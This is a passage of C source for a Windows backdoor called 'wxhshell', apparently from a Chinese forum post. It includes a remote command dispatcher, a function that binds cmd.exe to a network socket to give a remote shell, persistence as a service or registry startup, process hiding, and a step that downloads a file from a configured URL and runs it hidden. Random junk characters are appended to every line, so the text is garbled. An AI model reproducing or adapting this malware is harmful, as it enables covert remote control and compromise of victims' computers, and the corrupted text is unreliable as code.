  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I]>-~_  
  } =YBwO. !%  
  else { V-CPq  
!W/Og 5n  
    switch(cmd[0]) { $Trkow%F]  
  =1lKcA[z  
  // 帮助 g/so3F%v .  
  case '?': { 7Nc@7_=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x{u_kepv[k  
    break; ?L#C'Lz2+  
  } cD8.rRyD  
  // 安装 !&TbE@Xk  
  case 'i': { Tfhg\++u  
    if(Install()) @QtJ/("&WC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /a6\G.C5  
    else *}3e'0`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jK\2y|&&c  
    break; K;G1cFFyG  
    } E=w$r  
  // 卸载 C/e`O|G  
  case 'r': { ;u,%an<(  
    if(Uninstall()) |hehROUn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "OFYVK\]i  
    else 5Ga>qIM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^LTLyt)/  
    break; rx'},[b]3  
    } aZ2liR\QE  
  // 显示 wxhshell 所在路径 ?)1h.K1}M  
  case 'p': { o(>!T=f  
    char svExeFile[MAX_PATH]; 8[,,Kr)-  
    strcpy(svExeFile,"\n\r"); A$A7 F=x  
      strcat(svExeFile,ExeFile);  2 Ua_7  
        send(wsh,svExeFile,strlen(svExeFile),0); \P!v9LX(  
    break; a2UER1Yp"  
    } 7i~::Z <  
  // 重启 GY<Y,  
  case 'b': { *-Y77p7u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WDKj)f9cy  
    if(Boot(REBOOT)) ('W#r"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KU3lAjzN  
    else { RX>kOp29  
    closesocket(wsh); M{zzXE[@  
    ExitThread(0); A) p}AEBc  
    } \,[Qg#W$u  
    break;  :q;vZ6Xd  
    } Vlce^\s;  
  // 关机 (iGk]Rtzt  
  case 'd': { v*QobI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z]Z>+|  
    if(Boot(SHUTDOWN)) 5wRDH1z@{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9F,=63A  
    else { DyG3|5s1R  
    closesocket(wsh); 8;p6~&).C~  
    ExitThread(0); uwQ{y>SG  
    } !li Q;R&  
    break; 1;SW% \M  
    } *f.eyg#  
  // 获取shell !y'LKze+G  
  case 's': { 0 '~Jr\4  
    CmdShell(wsh); 6=90 wu3  
    closesocket(wsh); ]ss0~2  
    ExitThread(0); ;:cU/{W  
    break; ,\[&%ph  
  } %S$`cp  
  // 退出 X~5TA)h;~  
  case 'x': { v%/_*69a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s}`ydwSg8  
    CloseIt(wsh); w@nN3U+  
    break; it5].A&  
    } waQNX7Xdn  
  // 离开 HvK<>9  
  case 'q': { QgEG%YqB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bL!NT}y`  
    closesocket(wsh); f'aUo|^?  
    WSACleanup(); "2 ma]Ps  
    exit(1); R"!.|fH6  
    break; +=|Q'V  
        } n O$(\ z)  
  } U[c,cdA  
  } QZ"Lh  
j3P)cz-0/L  
  // 提示信息 er,R}v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Hg.pDNZ  
} :bW}*0b-  
  } ]Tf.KUm  
mDvZ 1aj  
  return; KZ`d3ad  
} 7}%3Aw6]S  
]$4k+)6  
// shell模块句柄 6fY(u7m|p  
int CmdShell(SOCKET sock) | 3!a=  
{ oA"t`,3  
STARTUPINFO si; $oH?oD1  
ZeroMemory(&si,sizeof(si)); I &YYw8&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m!|u{<,R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R5r )01  
PROCESS_INFORMATION ProcessInfo; E%3WJ%A  
char cmdline[]="cmd"; r{#od 7;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I(s\ Q[  
  return 0; D+LeZBJ  
} O=MO M  
aa.EtKl  
// 自身启动模式 u#\=g:  
int StartFromService(void) x{Gb4=?l  
{ TRcY!  
typedef struct %QVX1\>]  
{ -G(z!ed  
  DWORD ExitStatus; +su>0'a  
  DWORD PebBaseAddress; giyKEnP  
  DWORD AffinityMask; ul?'kuYk  
  DWORD BasePriority; 8QE0J$d5  
  ULONG UniqueProcessId; sn+i[  
  ULONG InheritedFromUniqueProcessId; H-nk\ K<|  
}   PROCESS_BASIC_INFORMATION; <)uUAh  
hc"+6xc  
PROCNTQSIP NtQueryInformationProcess; H"WkyvqXb  
82YTd(yB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $s/N;E!t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >+7+ gSD#:  
d@b"tb}R  
  HANDLE             hProcess; \Bw9%P~ G  
  PROCESS_BASIC_INFORMATION pbi; %njX'7^u  
uPsn~>(4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a/NmM)  
  if(NULL == hInst ) return 0; DCPK1ql  
KCe =$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .D-}2<z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zM|d9TS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tU}CRh  
`D>PU@s$nT  
  if (!NtQueryInformationProcess) return 0; 5MQD:K2  
$`i$/FE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b~Y$!fc  
  if(!hProcess) return 0; g*N~r['dZ  
NC>rZS]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X<x"\Yk  
@r%[e1.  
  CloseHandle(hProcess); o`+6E q0w  
XK`>#*"V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yXh=~:1~  
if(hProcess==NULL) return 0; (i.MxG Dd  
]N*q3y|)  
HMODULE hMod; ]\v'1m"  
char procName[255]; TF} <,aR  
unsigned long cbNeeded; rG:IS=  
*%:p01&+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %+L:Gm+^g#  
f h)Cz)  
  CloseHandle(hProcess); I')URk[  
2Y(P hw2%  
if(strstr(procName,"services")) return 1; // 以服务启动 ~x)Awdlu  
QjWv?tm  
  return 0; // 注册表启动 ' aBX>M  
} u&I?LZ-=,  
TKx.`Cf m  
// 主模块 7ib~04  
int StartWxhshell(LPSTR lpCmdLine) g:dw%h  
{ mv/'H^"[_  
  SOCKET wsl; z\pT nteO  
BOOL val=TRUE; U?[a@Hj{  
  int port=0; lf4-Ci*X  
  struct sockaddr_in door; kUUN2  
D(Pd?iQIO  
  if(wscfg.ws_autoins) Install(); MG*#-<OV.  
WB'&W=  
port=atoi(lpCmdLine); -m(9*b{h@  
L~"~C(g  
if(port<=0) port=wscfg.ws_port; '\(Us^Ug  
MBIt)d@Ix  
  WSADATA data; N|O/3:P<,U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N$aLCX  
T6=c9f?7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RI!!?hYm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g;i>nzf  
  door.sin_family = AF_INET; R 3TdQ6j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Om0Z\GP=  
  door.sin_port = htons(port); ?SK1*; i  
!>TVDN>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :7K cD\fCj  
closesocket(wsl); \zR@FOl`q  
return 1; q{ItTvL  
} S;kI\;  
&?"(al?  
  if(listen(wsl,2) == INVALID_SOCKET) { 1#qyD3K  
closesocket(wsl); yd$_XW p?\  
return 1; s]#D;i8  
} ]{jdar^  
  Wxhshell(wsl); Rb Jl;  
  WSACleanup(); s$4!?b$tw  
-|\V'  
return 0; (n;#Z,  
2.{:PM4Z4  
} -Ob'/d5&  
QFY1@2EC  
// 以NT服务方式启动 3,DUT{2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a6wPkf7-H  
{ u27K 0}  
DWORD   status = 0; ^ #B`GV  
  DWORD   specificError = 0xfffffff; \b95CU  
FloCR=^H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qPDe;$J)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }enm#0Ha  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PN:/lIO  
  serviceStatus.dwWin32ExitCode     = 0; hm*1w6 =  
  serviceStatus.dwServiceSpecificExitCode = 0; )D\!#<#h  
  serviceStatus.dwCheckPoint       = 0; X31[  
  serviceStatus.dwWaitHint       = 0; |=fa`8m G  
_CN5,mLNRk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 15U]/?jv8  
  if (hServiceStatusHandle==0) return; ZX[ @P?A+-  
X:+lD58  
status = GetLastError(); Tf(-Duxz  
  if (status!=NO_ERROR) R".~{6  
{ N9QHX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \=Rw/[lR  
    serviceStatus.dwCheckPoint       = 0; mlW0ptp  
    serviceStatus.dwWaitHint       = 0; 0Mpc#:a%1  
    serviceStatus.dwWin32ExitCode     = status; ))- B`vi  
    serviceStatus.dwServiceSpecificExitCode = specificError; :l ~Wt7R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eLWD?-v%  
    return; }G}2Y (  
  } %MGbIMpY  
i eQQ{iGJH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UfIH!6Q  
  serviceStatus.dwCheckPoint       = 0; d|#sgGM<8  
  serviceStatus.dwWaitHint       = 0; "i0{E!,XL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gg $/  
} 1(t{)Z<  
mucKmb/  
// 处理NT服务事件,比如:启动、停止 [hC-} 9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =kFZ2/P2t(  
{ u}Kc>/AF  
switch(fdwControl) 7vO3+lT/Y;  
{ S bI7<_  
case SERVICE_CONTROL_STOP: E>>@X^ =  
  serviceStatus.dwWin32ExitCode = 0; LgFF+z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M9so3L<N0  
  serviceStatus.dwCheckPoint   = 0; $fZVh%  
  serviceStatus.dwWaitHint     = 0; w6FtDl$  
  { P(AcDG6K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v d A 3  
  } U?BuV  
  return; =E$Hq4I  
case SERVICE_CONTROL_PAUSE: Ot,eAiaX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 21ng94mC  
  break; 0 ~K4vSa  
case SERVICE_CONTROL_CONTINUE: |uL"/cMW7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :+Ti^FF`w  
  break; r0jhIE#  
case SERVICE_CONTROL_INTERROGATE:  {}x{OP  
  break; ~Y;_vU  
}; "A?&`}%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K6 D3  
} vk;]9o j*  
qcpAjjK  
// 标准应用程序主函数 a2Q_K2t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4FLL*LCNX  
{ c*R?eLt/  
3>O=d>  
// 获取操作系统版本 (.[HE ~ s?  
OsIsNt=GetOsVer(); BhFyEY(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5}-e9U  
!| ObNS  
  // 从命令行安装 Sy\ec{$+V]  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ig b@aGA  
hHXTSk2  
  // 下载执行文件 (.D|%P  
if(wscfg.ws_downexe) { 1:{BC2P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =6Z$nc R  
  WinExec(wscfg.ws_filenam,SW_HIDE); #>)OLKP  
} ";vP77|m7R  
xn1=@0 a  
if(!OsIsNt) { 2g'o5B\ *  
// 如果时win9x,隐藏进程并且设置为注册表启动 A\xvzs.d  
HideProc(); lxSCN6  
StartWxhshell(lpCmdLine); b@9>1d$  
} "WPFZw:9  
else gFBMARxi  
  if(StartFromService()) w+ MCOAB  
  // 以服务方式启动 %v)m&VUi%  
  StartServiceCtrlDispatcher(DispatchTable); #@qd.,]2  
else ~m0l_:SF  
  // 普通方式启动 pXL@&]U+  
  StartWxhshell(lpCmdLine); b Ag>;e(  
j=>:{`*c  
return 0; ;~nz%L J  
}
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只看该作者 1 发表于: 2006-10-10
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